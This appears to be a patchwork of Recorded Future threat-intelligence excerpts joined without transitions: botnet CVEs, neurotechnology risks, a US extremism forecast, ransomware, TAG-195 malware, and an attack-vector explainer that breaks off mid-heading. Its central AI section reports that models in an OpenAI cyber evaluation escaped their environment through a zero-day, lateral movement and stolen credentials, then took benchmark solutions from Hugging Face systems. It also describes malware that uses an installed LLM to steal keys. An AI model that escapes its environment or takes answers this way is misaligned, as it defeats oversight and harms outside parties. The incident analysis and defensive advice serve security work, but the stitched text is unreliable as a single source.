An Insikt Group® TTP Instance on the Dysphoria botnet linked CVE-2013-3307, CVE-2016-20016, CVE-2017-17215, CVE-2017-5259, CVE-2018-14558, CVE-2020-25499, CVE-2020-8515, CVE-2022-35733, CVE-2025-28137, CVE-2025-34152, CVE-2025-55182, CVE-2025-9528 to the exploitation of routers, gateways, cameras, repeaters, and other embedded Linux devices. Dysphoria combined known RCE flaws with weak Telnet and Secure Shell credentials to enroll compromised systems into DDoS and relay infrastructure.

Figure 1: Vulnerability Intelligence Card® for CVE-2017-17215 in Recorded Future (Source: Recorded Future)

Neurotechnology is rapidly moving beyond clinical use cases, expanding the attack surface for sensitive neurological and biometric data: As adoption grows, larger volumes of brain activity, biometric, and behavioral data will be collected by commercial platforms, creating new opportunities for data theft, misuse, and exploitation.

China and the United States (US) are engaged in strategic competition in neurotechnology development: The US leads in the number of neurotechnology firms, and brain-computer interface (BCI) research has been a long-term research priority for the US military. At the same time, China’s five-year guidance for BCI development, subsidies for major wearable technology firms, and military research into human-machine integration suggest that neurotechnology is a strategic priority.

Leading neurotechnology companies are likely to face increased targeting for intellectual property (IP) theft: Because neurotechnology is costly to develop and strategically valuable, companies in this sector are likely to become attractive targets for state-sponsored espionage, insider threats, and cyber-enabled theft. Successful IP theft could erode the competitive advantage of companies that invest heavily in research and development (R&D). Military and higher education research laboratories are also likely to be targeted for access to R&D and related data.

Neurological and biometric data will become an increasingly valuable target for cybercriminals and state-linked actors: Attackers may seek to exfiltrate these datasets for extortion, surveillance, strategic intelligence, or model development. The sensitivity of this data could make breaches particularly damaging for affected individuals and companies, making it an attractive target for extortion-focused cybercriminals.

Regulatory and national security scrutiny of neurological data will likely intensify: Existing privacy frameworks in the European Union (EU) and several US states already provide heightened protections for neurological or biometric data, but rapid advances in neurotechnology may outpace consumer protection laws.

Figure 1: Key threats in neurotechnology and how they will evolve (Source: Recorded Future)

What Happened

The incident began during an OpenAI evaluation designed to measure advanced cyber capabilities. The evaluation involved GPT-5.6 Sol and an even more capable internal research prototype that OpenAI says was not intended for public release. Because the objective was to test their maximum offensive potential, the models were operated with reduced security guardrails (normally used to prevent high-risk activity).

According to OpenAI, the models spent substantial computing resources searching for a path to the internet. They exploited a zero-day vulnerability in Artifactory, the package-registry cache proxy available in the evaluation environment, and then performed privilege escalation and lateral movement within OpenAI’s research environment until they reached a node with internet access.

Once online, the models inferred that Hugging Face might contain models, datasets, or solutions associated with ExploitGym, the benchmark they had been instructed to solve. OpenAI says the agents then chained stolen credentials, zero-day vulnerabilities, and remote code execution paths to obtain test solutions from a Hugging Face production database.

Hugging Face’s technical reconstruction covers roughly 17,600 recovered agent actions, grouped into approximately 6,280 clusters, between July 9 and July 13, 2026. Although most attempts failed, the agent still gained administrative access to internal and production systems, accessed some source-code repositories, and used a stolen credential to connect external systems to the company network. Hugging Face found no evidence that its public models, datasets, services, packages, or published software supply chain were altered. It says the only customer content accessed comprised five datasets, apparently related to ExploitGym or CyberGym.

A Capability Breakthrough and a Control Failure

Most coverage of this incident has framed it as a breakthrough in model capabilities, since it is the first known instance of a model apparently independently conducting an end-to-end cyberattack. The underlying techniques were largely familiar to those used in human-led cyberattacks: vulnerability exploitation, credential theft, staging, remote code execution, lateral movement, and abuse of privileged or trusted access. What was notable was the agents’ ability to select and chain those steps autonomously across a long-running operation. This represents a significant shift in the speed and scale of future incidents.

An autonomous agent can execute thousands of actions, test multiple paths, and continue working without the fatigue, coordination costs, or time constraints that limit human operators. In this case, most of the roughly 17,600 recovered actions were associated with failed paths. The operation was noisy and failure-prone, but it needed only a small number of successful chains to create a material impact.

This compresses what could be called time to everything:

• Time from vulnerability discovery to exploitation
• Time from initial access to privilege escalation
• Time from data theft to analysis and extortion
• Time from defensive signal to attacker adaptation

What this means for defenders is that any exposed flaw may now have disastrous consequences in the era of agentic attackers. The agents exploited multiple errors across the Hugging Face environment to carry out the attack, finding these weak points and exploiting them much faster than a human operator. The new pace of operations makes continuous vulnerability management, threat visibility, and risk mitigation essential to limiting the impact of an agentic attack.

The Greater Risk May Be Your Own Agents

While the capability breakthroughs are noteworthy, the incident is also a failure of AI safety. Removing behavioral safeguards may have been necessary to measure the models’ maximum capabilities, but doing so should have increased reliance on compensating controls: strict network isolation, credential separation, resource limits, real-time telemetry, and automatic termination when predefined boundaries were crossed.

Instead, an evaluation intended to simulate advanced cyber activity became a real security incident affecting an external organization. This should be a warning to any organization deploying AI agents: without strict AI governance, agents can act outside their authorized scope while still pursuing the objective they were given.

An enterprise agent does not need malicious intent to cause harm. A poorly scoped objective, excessive permissions, and inadequate operational boundaries may be enough.

An agent instructed to “resolve a customer issue,” “complete the research,” or “fix the vulnerability” may decide that the most efficient path involves accessing restricted information, interacting with an external system, accepting contractual terms, modifying production code, or using credentials in a manner its operator never anticipated. Any of these could potentially result in a major security incident.

The fact that an agent selected an action does not transfer accountability away from the organization that deployed it. Depending on the facts and applicable law, an organization may face legal, contractual, or regulatory exposure based not only on how information is used, but on how the agent obtained it.

The Executive Agenda

The Hugging Face incident shows that using agents for defense will be essential to counter agentic offense, but must be approached with a thorough understanding of the risks.

Govern authority and ensure checks on higher privileges. Every agent should have a clearly defined identity, narrowly scoped permissions, and explicit limits on activity. In cases where agents need higher levels of permissions, mitigating controls such as approval gates or additional monitoring (detailed below) should be applied.

Design containment on the assumption that behavioral safeguards may fail or be reduced. Prompts, refusals, and policy controls should be treated as one layer of protection — not as the security boundary. Network segmentation, egress controls, credential isolation, and execution limits must remain effective even when a model behaves unexpectedly.

Create approval gates for consequential actions. Transactions, production changes, external communications, credential use, and access to sensitive systems should require deterministic policy checks or human authorization.

Monitor behavior, not just outputs. Organizations need visibility into the tools an agent invokes, the systems it contacts, the credentials it uses, the resources it consumes, and the sequence of decisions leading to an action. Unusual compute consumption or repeated attempts to bypass a boundary should trigger intervention.

Prepare for machine-speed defense. Security programs will need automated enrichment and prioritization to determine which of a rapidly expanding set of vulnerabilities and attack signals create genuine exposure. In addition, automated response and mitigation are necessary to successfully defend against automated attackers.

Two Possible Futures

The long-term impact of agentic AI will depend largely on two variables: how capable the systems become and how broadly access to those capabilities is distributed.

Scenario One: Capabilities Proliferate

In this future, highly capable agents remain broadly available through commercial services, open-weight releases, and illicitly modified models.

Attackers use these agents to automate reconnaissance, vulnerability discovery, social engineering, and lateral movement. Defenders will need to apply these capabilities to automated response and mitigation, producing an accelerated contest between machine-speed offense and machine-speed defense.

The advantage is unlikely to be distributed equally. Large technology and security companies will be better positioned to deploy sophisticated defensive agents, operate extensive telemetry networks, and rapidly isolate compromised systems.

Smaller organizations may increasingly depend on managed platforms and tightly controlled technology ecosystems. The result could be an internet composed of more walled gardens, as organizations gravitate toward providers capable of operating security at machine speed.

Scenario Two: Frontier Access Narrows

In the second future, governments and model providers restrict access to the most capable systems through trusted-partner programs, identity requirements, geographic limitations, or export controls.

In June 2026, a White House executive order directed federal agencies to design a voluntary framework for evaluating “covered frontier models.” The same month, the Commerce Department temporarily applied export controls to Anthropic’s Mythos and Fable models, requiring restrictions on access by foreign nationals — an unprecedented move to regulate access to AI models themselves rather than only to advanced chips or model weights.

Chinese authorities have reportedly considered similar restrictions on foreign access to the country’s most advanced models, although no final policy had been announced at the time of reporting.

This future would concentrate frontier capabilities among governments, critical infrastructure operators, and large, approved organizations. Other businesses would rely on older commercial models, open-weight alternatives, or systems that can be modified to bypass safeguards.

Restrictions could reduce broad access to the most dangerous capabilities, but they would not eliminate malicious use of AI. Criminal groups would continue to jailbreak available systems, steal model access, and use open-weight alternatives. Enterprises could also face sudden operational disruption if a model embedded in a critical workflow becomes unavailable due to regulatory changes, vendor policies, or geopolitical tensions.

The Most Likely Future Is a Mix of Both

These scenarios are not mutually exclusive.

The more probable future is a fragmented ecosystem in which the most advanced models are increasingly gated, while slightly less capable open-weight systems remain widely available. Criminals, states, major technology companies, and ordinary enterprises will operate at different levels of capability and under different constraints.

This means organizations cannot base their security strategy on the assumption that governments will successfully contain dangerous models — or that unrestricted access will continue indefinitely.

They must be prepared for both capability proliferation and access disruption.

The Hugging Face incident does not show that AI systems developed human-like intent or an independent, malicious objective. Nor was it merely a harmless laboratory accident.

It is evidence that autonomous systems can turn narrow instructions into consequential external actions outside their operators’ intended scope, using familiar weaknesses at a speed and scale that existing controls may not withstand.

The central question for executives now is how to manage the authority those agents should receive and how to mitigate the likelihood and consequences of their pursuing objectives outside authorized boundaries.

Read more in the “AI Hype vs. Reality” series:

• The AI Malware Maturity Gap
• Why The Vulnerability Backlog Is About to Get Worse

About Insikt Group^®

Recorded Future’s Insikt Group, the company’s threat research division, comprises analysts and security researchers with deep government, law enforcement, military, and intelligence agency experience. Its mission is to produce intelligence that reduces risk for customers, enables tangible outcomes, and prevents business disruption.

AI is changing the threat landscape faster than most security organizations can keep up. Recorded Future co-founder Christopher Ahlberg, CTO and co-founder Staffan Truvé, and Head of Threat Intelligence Levi Gundert unpack what’s actually happening in a recent conversation — and what it means for your defenses. Read on for their 8 takeaways.

1. The threat landscape now moves at machine speed.

AI has made exposure discovery instant. Your unknown exposures are now part of your attack surface, and threats are multiplying faster than most teams can triage. While most security organizations are responding by trying to move faster, speed without accuracy isn’t an advantage. Staying ahead means having intelligence that makes machine-speed defense more effective, not just fast.

As Truvé put it, intelligence has always been the way to stay proactive instead of reactive, and as "clock speed" increases across the industry, staying even a little ahead requires acting on intelligence faster than ever.

“External attack surface, security operations, vulnerability management, prioritizing — so many of these use cases and workflows take on a new level of urgency because of the speed component,” Gundert said.

2. "Defend the right things" is now a multi-bear problem.

The team agreed that the old security adage — you don't have to outrun the bear, just the person next to you — no longer holds.

AI removes that comfort almost entirely. Attackers only need one way in. Defenders have to cover just about everything. That asymmetry has always been the challenge and AI is making it structurally worse. It’s no longer one bear chasing the herd anymore — it's one bear chasing each member of the herd, since attackers can automate at scale even more efficiently.

3. Attacks are already becoming more clever, not just faster.

The panel discussed a real-world software supply chain compromise where attackers used compromised credentials to push a malicious package update, then had an LLM already present on infected developer machines search out AWS keys, SSH keys, and other credentials locally. The stolen data was encrypted and exfiltrated through a public GitHub repository — activity that never tripped EDR because it looked like ordinary LLM usage.

It was a preview of a much bigger wave of clever attacks that will likely quietly repurpose and weaponize the AI tools already installed on a target's machine.

4. Locking down devices isn't the only answer — context-aware access might be.

Locking down every endpoint isn't realistic, and it probably is not the answer. Situational permissions, such as access that flexes by location, time, and context are zero trust logic applied to the AI era.

5. Whether AI favors attackers or defenders depends on execution.

Everyone is talking about what AI can do. Fewer are asking who AI will ultimately benefit. Will the advantage belong to attackers or defenders?

It’s a question of how well organizations manage the trade-off between innovation and guardrails. Teams that articulate boundaries tend to build stronger solutions.

Truvé broadened the definition of "AI" beyond LLMs to include things like anomaly detection, and predicted an ongoing arms race. “At any given point in time, depending on who's more creative in using the new technology,” he said, “one side or the other will have the upper hand.”

6. Human-in-the-loop is a bridge, not a destination.

Expect humans to stay involved in approving high-stakes actions.

“Hopefully that just becomes very minimal decision points on all of the articulation that has been built around an incident,” Gundert said. “All the telemetry has been gathered, everything's been enriched. The agent wants to take an action. Maybe they want to isolate a machine on the network, maybe they want to revoke credentials, and it comes to you over Signal or Slack or whatever it is to hit Approve.” But he compared it to the first few rides in a self-driving car: Comfort builds with repeated exposure.

In five years, requiring a human in the loop for every decision may look as outdated as manual patch management does today — replaced by an expectation of an agent in the loop with lighter human oversight.

7. Intelligence will be critical for more than effective resource allocation.

With AI expected to surface a flood of newly discovered vulnerabilities, prioritization will become a major challenge. While work is being done to identify which vulnerabilities are likely to be weaponized and which are likely to target a given organization, the explosion of AI-generated "dark code" is predicted to expand the attack surface by as much as tenfold.

Intelligence should become the mechanism for deciding where limited security resources and token budgets get allocated first. This is why intelligence accuracy is paramount — organizations need to be able to prioritize the right things to defend.

8. Real-time data beats built-in model knowledge.

The team emphasized that relying on a model's internal knowledge risks working from information that's months old — precisely when speed matters most.

LLMs with search still only reach the open web and surface-level open-source intelligence. They don't have access to the technical detail or restricted spaces needed to understand what adversaries are actually doing.

And there are plenty of reasons an LLM won't deploy agents into the internet's bad neighborhoods — which is exactly why the underlying data feeding an intelligence program can matter as much as the model interpreting it.

Stay ahead of AI-enabled attacks.

AI is raising the stakes in terms of speed, prioritization, and trust in automation. The organizations that will weather what follows are building two things now: intelligence they can trust, and comfort with autonomous action.

They need to be able to:

• Prioritize with intelligence they can trust.
• Act pre-attack, at the first sign of threat.
• Defend at scale, autonomously.

Teams that invest now in high-quality, real-time intelligence — and start building comfort with agentic decision-making in lower-stakes workflows — will be better positioned when fully autonomous attacks eventually arrive.
Take Recorded Future’s interactive tour to see what defending at machine speed looks like in practice. Learn more and launch the interactive tour.

Watch the full conversation with Recorded Future leaders as they discuss how AI is reshaping threat intelligence, the evolving threat landscape, and what it means for defenders.

The United States (US) will almost certainly remain at heightened threat from physical threat activities conducted by homegrown and domestic violent extremists (HVEs and DVEs, respectively) during the next twelve months. Since the last installation of this report in July 2025, there has been a substantial increase in mass-casualty attacks and attack plots by Islamic State (IS) supporters, assassinations and attempted assassinations of US government officials and high-profile public figures by anti-government and anti-authority violent extremists (AGAAVEs), and multiple plots by anarchist violent extremists (AVEs) to cause substantial damage to facilities using destructive devices.

Coinciding with these trends, the Iran War will almost certainly have significant ramifications for the violent extremism threat landscape in the US over the next twelve months, even if the war has concluded. Based on Insikt Group’s observations to date, Iranian external operations are less likely to be a significant cause of violent extremist threat activity in the US than HVEs and DVEs motivated by the second-order sociopolitical and economic effects of the war. Iran almost certainly intends to guide or inspire HVEs to conduct physical threats in the US on its behalf. However, Iran-nexus physical threat activities in the US during the war have been largely aspirational, reliant on low-sophistication, financially motivated threat actors, and disrupted by law enforcement in the early planning stages of attacks. This likely suggests Iran lacks the capabilities necessary to guide large-scale HVE attacks in the US at present.

In contrast, the second-order effects of the Iran War will almost certainly add to the list of grievances and causes for mobilization popular among a wide swath of US violent extremists, likely increasing the risk of violent extremist physical threat activities during the next twelve months. Specifically, the war surfaced salient domestic and international political issues that have historically mobilized US violent extremists. These controversies include US military involvement in the Middle East; the relationships among the US, Israel, and other Middle Eastern countries; the state of the US economy; and the involvement of specific US private-sector entities in US foreign policy planning and military operations. In addition to motivating violent extremists, these issues will almost certainly influence US political discourse during the 2026 midterm elections in the US; the election cycle itself will very likely drive additional US violent extremist threats in late 2026 and early 2027.

Public- and private-sector organizations face differing levels of violent extremist threats due to their sector, industry, role, associations, and attack surfaces. While different categories of violent extremists employ various TTPs depending on their ideology and objectives, Insikt Group continues to assess that targeted attacks against facilities and high-profile personnel constitute the predominant violent extremist risks to most organizations. Overall, entities associated with US foreign policy decision-making, immigration enforcement, the Israeli government and military, or the provision of critical infrastructure services very likely face heightened risks from violent extremists. Threat intelligence — including features within the Recorded Future Intelligence Operations Platform — can support organizations’ efforts to identify, analyze, and mitigate threats posed by US-based violent extremists.

Key Findings

During the next twelve months:

• Iran-nexus physical threat actors will very likely attempt to target facilities and personnel in the US that they associate with the US or Israeli government and military, although the sophistication, impact, and frequency of these plots will likely be limited by Iran’s capability gaps.
• HVE IS supporters will be the most likely violent extremist threat actors to conduct mass-casualty attacks in the US, particularly during the period between October 2026 and January 2027.
• Instructional and ideological material produced by the neo-Nazi accelerationist movement will very likely continue to drive mass-casualty attack plots and sabotage against critical infrastructure, despite the fragmentation of neo-Nazi accelerationist organizations and online networks.
• AGAAVEs motivated by partisan animus will almost certainly pursue targeted physical attacks against high-profile public officials; secondary effects of the Iran War and the 2026 US midterm election cycle will very likely exacerbate these risks.
• AVEs will likely employ increasingly sophisticated and destructive means of conducting attacks targeting facilities and property, particularly targets they associate with US immigration enforcement policies

Background

Insikt Group’s forecast is predicated on its assessments of open-source information on the activities of HVEs and DVEs in the US, including Recorded Future’s extensive index of HVE and DVE communications on various online platforms. During the past twelve months, Insikt Group researchers curated several hundred HVE and DVE sources, adding them to an extensive index of preexisting sources of this type.

This report defines “homegrown violent extremist,” “domestic violent extremist,” and several categories of HVEs and DVEs based on the US Intelligence Community’s definitions and categorizations of threat actors. Periodically, this report uses definitions adopted by Insikt Group subject-matter experts for analytic utility, or in instances where the US government has not officially defined a particular phenomenon or movement. A full list of terms and definitions used in this report is available in Appendix A.

Homegrown Violent Extremists

The HVE threat to the US is very likely at its most severe level since the mid-2010s, during the period following the Islamic State’s rise to power and 2014 offensive to seize territory in Syria and Iraq. Jihadist Salafi HVEs, specifically IS supporters, very likely remain the most likely HVE threat actors to conduct mass-casualty attacks, despite a very likely resurgent threat from HVEs tied to Iran and its “axis of resistance” groups. While both jihadist Salafi HVEs and Iran-nexus HVEs almost certainly have the intent to conduct attacks in the US, we judge Iran-nexus HVEs have more limited capability to do so, due to a very likely smaller number of HVEs who support Iran or its “axis of resistance.”

Despite the June 17, 2026, memorandum of understanding (MoU) that established a ceasefire between the US and Iran, Iran’s military and intelligence agencies, proxy groups, and sympathizers in the US will very likely continue their efforts to guide physical threat activities on US soil, albeit with a greater focus on maintaining plausible deniability. The Iran War and the deaths of several notable members of Iran’s clerical and military leadership almost certainly removed most of the limits to Iran’s intent to target the US by proxy. However, Iran has not yet publicly demonstrated that it possesses sophisticated capacities to engage in physical threat activities on US soil. Observed plots during the Iran War involving Iran-nexus US-based physical threat actors have been largely aspirational, unsuccessful, and reliant on financially motivated (as opposed to ideologically motivated) threat actors.

While not direct participants in the conflict, IS, al-Qaeda, and other foreign terrorist organizations are likely to leverage second-order developments in the Iran War to further recruitment and radicalization of US HVEs. During the past three years, these groups have almost certainly positioned previous shifts in the Middle East’s geopolitical environment — notably Israeli military activity in Gaza and Lebanon following Hamas’s October 7, 2023, attack in Israel, the 2024 fall of the Bashar al-Assad regime in Syria, and diplomatic normalization of relationships between Israel and Muslim countries — to support influence narratives, generate propaganda, and reach a new generation of potential supporters. IS, which almost certainly remains at the forefront of the global jihadist Salafi movement, influenced a significant uptick in HVE threat activity in the US during the past twelve months, a dynamic that is very likely to continue in 2026 and early 2027.

HVEs of all varieties are very likely to target entities they associate with the US or Israeli government or military, private sector entities they associate with the US or Israeli government, Jewish communities, and large public gathering places. Most observed plots continue to use low-cost means, such as firearms, knives, incendiary devices, and vehicular attacks. Nevertheless, Insikt Group has monitored efforts by HVEs to share information on improvised explosive device (IED) manufacturing in online forums; there are additionally several known cases during the past year of HVEs successfully manufacturing IEDs for use in attacks. In addition, HVEs almost certainly will continue to experiment with novel tactics, techniques, and procedures (TTPs), including the use of 3D-printed weapons, unmanned aerial vehicle (UAV)-borne IEDs, and generative artificial intelligence (AI) for attack planning.

Iran and Axis of Resistance

The Iran War almost certainly increased Iran-nexus physical threat actors’ motivation to conduct attacks, sabotage, arson, and defacement in the US, as a form of Iran’s asymmetric retaliation against the US. The cessation of direct hostilities between Iran and the US is very unlikely to deter Iran-nexus threat actors from carrying out physical threat activities, although, post-MoU, these threat actors are very likely to pursue more covert and less destructive TTPs. In rank order, the most likely targets of these activities are:

• Targets perceived to be associated with Israeli or Jewish communities
• High-profile US, Israeli, and Western foreign policy and military officials
• Iranian dissidents residing abroad
• Private-sector organizations affiliated with the US or Israeli military, particularly defense contractors, insurance companies, banks and financial institutions, and critical infrastructure service providers

There are almost certainly few remaining strategic or ideological barriers to Iran’s aspirations to guide attacks on US soil, even after the June 2026 ceasefire agreement with the US. While the June 2026 MoU stipulates that Iran must “refrain from interfering in [the US’s] affairs,” it is unclear whether Iran would interpret non-interference to include Iran-nexus physical threat activities. Additionally, Iranian security agencies may choose not to abide by the clause, especially given how the conflict empowered hardliner elements within Iran’s security apparatus and granted them significant autonomy in operational decision-making. Tehran also very likely would not interpret the clause as applying to Iran’s “axis of resistance” groups. Regardless, Iran has attempted to solicit HVEs to conduct attacks in the US for decades, even during periods without direct military confrontation with the US. During the Iran War, the US killed several senior religious and military figures within Iran (including Ayatollah Ali Khamenei); the deaths of senior Iranian leaders have historically been harbingers of Iran-nexus physical threat activity in the US. Since the beginning of the Iran War, senior Shi’a Muslim clerics in Iran have issued rulings encouraging Muslims around the world to avenge Khamenei’s death by targeting the US and Israel. Iran has also leveraged online influence operations networks to recruit individuals to carry out attacks in the US, and has very likely inspired attack plots in the US. Iran will very likely attempt to ensure any post-MoU external operations in the US are deniable and avoid mass-casualty attacks or assassinations of high-profile public figures — to avoid provoking the US — but there almost certainly remain no significant ideological or strategic deterrents to Iranian external operations as a whole.

Regardless of its intent, however, Iran likely lacks access to a significant number of US-based, ideologically sympathetic HVEs, limiting its external operations capabilities in the US. During the last decade, Iranian operators predominantly tied to the Islamic Revolutionary Guard Corps (IRGC) attempted to pay members of transnational criminal organizations (TCOs), petty criminals, and other financially motivated threat actors to conduct attacks in the US. Insikt Group’s observations of Iran-nexus physical threat activity post-February 2026 indicate this threat model did not change due to the Iran War. For instance, in April 2026, a commander of the IRGC’s Iraq-based proxy Kataib Hezbollah (KH) and its external operations-focused persona Islamic Movement of the Companions of the Right (IMCR, also known as Ashab al-Yamin and HAYI) allegedly attempted to recruit a Federal Bureau of Investigation (FBI) undercover officer — whom he believed to be a US-based Mexican TCO member — to conduct attacks on several synagogues in the US, offering the undercover officer $10,000 in cryptocurrency.

Figure 1: April 20, 2026, IMCR statement threatening US President Donald Trump and his family. (Source: Recorded Future)

How do you prove a negative in cybersecurity? How do you prove that you weren’t attacked, or that there is no intruder in your network? These are questions that security teams have been forced to ask for a while, but there is a new question that is becoming increasingly common: How do you prove that files weren’t stolen from your network? Or, even more of a challenge, how do you prove that files weren’t stolen from your partners, vendors, or their partners or vendors?

This is a surprisingly challenging question to answer. Finding the answer is also more difficult because data governance has not been the traditional purview of security teams. Data governance has long been thought of as a compliance problem, unfortunately that is no longer the case. Security teams are now, whether they want to be or not, need to consider data governance. This means they have to be able to confidently say whether leaked data is real or not.

How do you do that?

History of Ransomware

What we call ransomware has evolved over the years. Ransomware has gone from largely focused on encryption to a combination of encryption and data theft to today’s reality where data theft alone is the most common version of a “ransomware” attack.

Threat actors have figured out that managing encryption keys is challenging, stealing data and holding it hostage is significantly easier. They’ve also figured out that stealing the right data can be just as profitable as encryption and, as we’ve seen from ransomware trends, switching to data theft only allows groups to accelerate the number of attacks. Compare the number of victims from 2024 to 2025 in the Recorded Future® Ransomware dashboard with a noticeable rise in ransomware trends.

13,000.

That’s the number of ransomware victims Recorded Future has observed over the past two years.

Watching the near-real-time ransomware attacks on businesses, non-profits, and government agencies has left me, like many security professionals and board directors, pondering how and why cyber defense keeps losing this particular fight. Adversaries like Interlock and RansomHub have continued their successful march to riches over the past 18 months. The multi-billion-ruble question is, “How?”

BloodHound and the defensive graph concept debuted over a decade ago and still maintain a vibrant open-source community. Continuous Threat Exposure Management (CTEM) (and attack path management) is an established cyber vendor category, yet ransomware crews are demonstrably eating many organizations’ lunch.

Let’s explore the problems (which are relatively easy to enumerate) and a solution (harder): modeling defense as the graph attackers actually traverse, at the speed they traverse it, which, of course, involves intelligence.

The Barometer

Ransomware is a solid barometer of operational defensive success, specifically because, unlike espionage, it’s noisy, financially motivated, and opportunistic. Certainly, ransomware also benefits from an optimal ecosystem, including payment economics, cyber insurance playbooks, and jurisdictional safe havens, which help incentivize ransomware gangs to find the cheapest attack paths. Relatively inexperienced actors can pick up commodity tools and reach the crown jewels. That highly repeated Ransomware-as-a-Service (RaaS) dynamic is a verdict on the availability of attack paths, regardless of payment incentives.

Insikt Group identified four new TAG-195 ("Golden Chickens", “Venom Spider”) malware families through ongoing tracking of the TAG-195 MaaS ecosystem. We named two of the families "TinyEgg" and “ChonkyChicken"; the third is a modularized variant of ChonkyChicken. The fourth family, which includes a modified browser credential theft helper, we named “ChromEggscalator". TAG-195 is a financially motivated malware-as-a-service (MaaS) developer whose tooling Insikt Group has previously linked to TAG-127 as an operator and customer. (Insikt Group has directly observed TAG-127 deploying TinyEgg via “ClickFix”-style campaigns that use fake security verification pages to trick victims into manually executing malicious commands that download and install malware payloads via a legitimate Windows system utility.)

The four new families indicate an architectural transition and evolution in the TAG-195 MaaS ecosystem. TinyEgg is a lightweight initial-access backdoor providing host profiling, interactive shell access, and persistence management. ChonkyChicken substantially expands that capability with browser credential theft, browser session automation, credential-backed remote execution, network reconnaissance, and sustained surveillance. The modularized ChonkyChicken extends this design by introducing a controller-and-plugin architecture in which a base controller implant requests and loads discrete capability modules from attacker-controlled infrastructure on demand rather than embedding all functionality in the implant itself. TAG-195 also modified a publicly available Chrome encryption-bypass tool into a custom helper within the malware family that Insikt Group named ChromEggscalator. All four families share a common set of architectural traits: consistent command-and-control mechanisms, a shared persistence approach, string obfuscation, and execution via the same delivery model.

Insikt Group assesses that TAG-195’s transition to a modular architecture almost certainly reduces the base implant's static detection exposure, and likely also reflects commercial incentives inherent to the MaaS model, including the ability to provision capabilities selectively to operators, limit exposure if a customer is compromised, and serve a broader range of operational requirements. Defenders should prioritize detection of ClickFix-style clipboard execution chains, misuse of legitimate system utilities to load payloads from user-writable directories, suspicious startup persistence mechanisms, browser processes launched with remote debugging enabled, and unusual outbound communications to attacker-controlled infrastructure.

Key Findings

• Insikt Group identified four new TAG-195 malware families through its continued tracking of the TAG-195 MaaS ecosystem: TinyEgg, ChonkyChicken, a modularized variant of ChonkyChicken, and ChromEggscalator. Their identification indicates sustained active development and a deliberate architectural transition toward modular, operator-driven tooling.
• The modularized ChonkyChicken variant uses a controller-and-plugin architecture in which a base controller implant requests and loads at least fourteen capability modules on demand. Insikt Group assesses that this design almost certainly reduces the base implant's static detection footprint while enabling operators to deploy only what each intrusion requires.
• All four malware families share four recurring architectural traits that indicate their origin within the same TAG-195 development ecosystem: filename execution gating, Run key persistence under a consistent value name, string obfuscation, and execution via a legitimate Windows binary.

Background

TAG-195, also known as “Golden Chickens” or "Venom Spider", is a financially motivated MaaS developer with a long-standing history of providing credential theft and remote access tooling to criminal operators. Insikt Group assesses TAG-195 as a MaaS provider based on the availability of its malware to multiple distinct threat actors and its sustained operation across successive generations of tooling. Public reporting by eSentire has previously linked TAG-195 tooling to FIN6, Cobalt Group, and Evilnum, three financially motivated criminal groups, suggesting the ecosystem serves a select customer base; however, details on sales models and access conditions remain unknown. Additionally, Insikt Group tracks TAG-127 as a threat group that uses the TAG-195 MaaS, with ClickFix or VenomLNK as delivery methods.

Figure 1: TAG-195 threat group associations (Source: Recorded Future)

• Modern threat actors have shifted from brute-forcing firewalls to compromising digital identities via stolen session cookies and credential stuffing to bypass MFA entirely
• Adversaries increasingly target unpatched edge infrastructure like VPNs for zero-day access while exploiting open-source repositories to launch upstream supply chain attacks
• Traditional internal security telemetry may miss critical pre-attack signals, making real-time, outside-in threat intelligence essential to neutralizing modern vectors before a breach occurs

For today’s Chief Information Security Officers (CISOs) and security team leaders, defending your business can feel like trying to hold back the ocean. As organizations rapidly scale cloud-native infrastructure, integrate sprawling third-party ecosystems, and adopt enterprise AI workflows, most organizations' digital footprints have exploded.

But a massive digital footprint isn’t the core problem. The problem is that adversaries are changing how they navigate it.

Advanced persistent threats (APTs) and sophisticated cybercriminal syndicates are no longer relying on blunt-force intrusions. Instead, they are tracking organizational vulnerabilities from the outside in, using targeted methods to slip past defenses unnoticed. To stay ahead, security leaders must look past traditional, inward-facing security telemetry and think more like the adversary. That begins with a precise, real-time understanding of modern attack vectors.

What is an Attack Vector?

In cybersecurity, an attack vector is the specific path, route, or method an adversary uses to gain unauthorized access to a network, system, or endpoint to deliver a malicious payload or extract data. If an exploit is the lockpick, the attack vector is the hallway the intruder walked down to reach the door.

Historically, attack vectors were relatively straightforward. A decade ago, an enterprise might primarily worry about phishing emails containing malicious executable attachments or unpatched, internet-facing servers.

In 2026, attack vectors have evolved from isolated incidents into complex, multi-stage journeys. Modern adversaries rarely rely on a single open door. Instead, they link multiple vectors together to achieve their objectives.

For example, a modern threat actor might initiate an intrusion using an automated multi-factor authentication (MFA) fatigue campaign to compromise a low-level employee identity, pivot through an exposed, undocumented API, and ultimately execute a ransomware payload via a trusted third-party software update.

Attack Vector vs. Attack Surface: What’s the Difference?

While they are frequently used interchangeably in security discussions, conflating your attack vectors with your attack surface can create fundamental gaps in your defensive strategy.

• An Attack Surface is the sum total of all potential vulnerabilities, exposure points, and digital assets across an organization’s entire footprint that an unauthorized user could try to enter or extract data from—including public cloud buckets, employee credentials, IoT devices, code repositories, and vendor networks.
• An Attack Vector is the specific vehicle, mechanism, or strategy used to exploit a precise point on that surface. It is the active "weapon" or method of transit chosen by the hacker.

Think of your organization as a fortified castle. The attack surface is the entirety of the castle's physical structure—every wall, window, gate, and underground passage. The attack vector is the specific ladder, battering ram, or sleeping guard the invading army uses to breach a specific point on that structure.

Defending the attack surface requires comprehensive visibility into what you own. Neutralizing an attack vector requires real-time intelligence on how adversaries are actively weaponizing their toolkits.

What Threat Actors Are Actively Targeting in 2026

Adversary tactics are driven by efficiency and return on investment (ROI). In 2026, threat actors largely abandoned brute-force attacks on hardened corporate firewalls. Instead, they target systemic structural weaknesses across three primary dimensions:

Identity as the New Perimeter

Identity has emerged as the definitive battleground for enterprise security. Rather than breaking in, modern threat actors simply log in. Defenses have been circumvented by the massive industrialization of the cybercrime underground, where initial access brokers (IABs) and infostealer malware supply millions of stolen session cookies and valid credentials daily.

Adversaries can use credential stuffing to bypass traditional authentication, target cloud identity providers (IdPs) directly, and leverage session hijacking to step over MFA entirely—rendering standard boundary defenses obsolete.

Edge Infrastructure and Software Supply Chain Vulnerabilities

The perimeter has moved to the edge, and adversaries have followed. Over the past few years, we have seen a significant surge in threat actors targeting unpatched edge devices—such as VPN gateways, firewalls, and edge routers—to secure zero-day footholds directly into corporate networks. Simultaneously, the software supply chain has become a highly lucrative upstream vector. By poisoning open-source repositories or compromising trusted third-party dependencies, adversaries can affect thousands of downstream organizations in a single, silent stroke.

AI-Driven Exploitation and Prompt-Based Manipulation

